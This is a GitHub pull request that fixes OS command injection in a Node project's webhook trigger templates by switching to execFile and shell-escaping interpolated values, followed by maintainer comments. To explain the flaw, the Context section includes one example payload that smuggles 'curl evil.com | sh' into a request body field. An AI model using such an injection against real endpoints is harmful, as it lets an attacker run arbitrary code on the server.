Skip to content

fix: prevent command injection in trigger template resolution#126

Open
Rmohid wants to merge 1 commit into
stephengpope:mainfrom
Rmohid:fix/command-injection
Open

fix: prevent command injection in trigger template resolution#126
Rmohid wants to merge 1 commit into
stephengpope:mainfrom
Rmohid:fix/command-injection

Conversation

@Rmohid

@Rmohid Rmohid commented Feb 22, 2026

Copy link
Copy Markdown

Summary

  • Replace exec with execFile in lib/actions.js to avoid unnecessary shell parsing for command-type actions
  • Add shellEscape() in lib/triggers.js that wraps template-interpolated values in single quotes, neutralizing shell metacharacters
  • Command-type trigger actions now shell-escape all {{body.*}}, {{query.*}}, and {{headers.*}} values before execution
  • Job-type trigger actions (LLM prompts) are unaffected — values pass through unescaped as before

Context

Trigger actions of type command pass template-resolved strings through resolveTemplate() which interpolates raw HTTP request data (body, query, headers) into the command string. This string was then passed to Node's exec(), which spawns a shell. An attacker who can POST to a watched trigger endpoint could inject arbitrary OS commands via crafted request payloads.

Example: a trigger with command: "./process.sh {{body.name}}" receiving {"name": "foo; curl evil.com | sh"} would execute the injected command.

Test plan

  • Verify existing command-type triggers still execute correctly with normal input
  • Verify template values containing shell metacharacters (;, |, $(), backticks) are treated as literal strings
  • Verify job-type trigger templates are unaffected (no escaping applied)
  • Verify cron command actions (no template interpolation) still work unchanged

🤖 Generated with Claude Code

Replace exec with execFile in actions.js and shell-escape all
template-interpolated values ({{body.*}}, {{query.*}}, {{headers.*}})
in command-type trigger actions to prevent OS command injection via
crafted HTTP request payloads.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Repository owner deleted a comment from claude Bot Feb 22, 2026
@stephengpope

Copy link
Copy Markdown
Owner

@Rmohid smart, I had this on my todo list

@claude /review

Repository owner deleted a comment from claude Bot Feb 22, 2026
Repository owner deleted a comment from claude Bot Feb 22, 2026
@stephengpope

Copy link
Copy Markdown
Owner

@claude /review

@stephengpope

Copy link
Copy Markdown
Owner

Hey @coleam00 — thanks for this PR!

The CI mirror step failed because the fork's copy of .github/workflows/claude.yml is older than what's on main (we added a fork-mirroring step since your fork was created). GitHub blocks the push when workflow files differ.

Could you rebase on latest main so the workflow files match?

git remote add upstream https://github.com/stephengpope/thepopebot.git
git fetch upstream
git rebase upstream/main
git push --force-with-lease

That should get CI green. Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants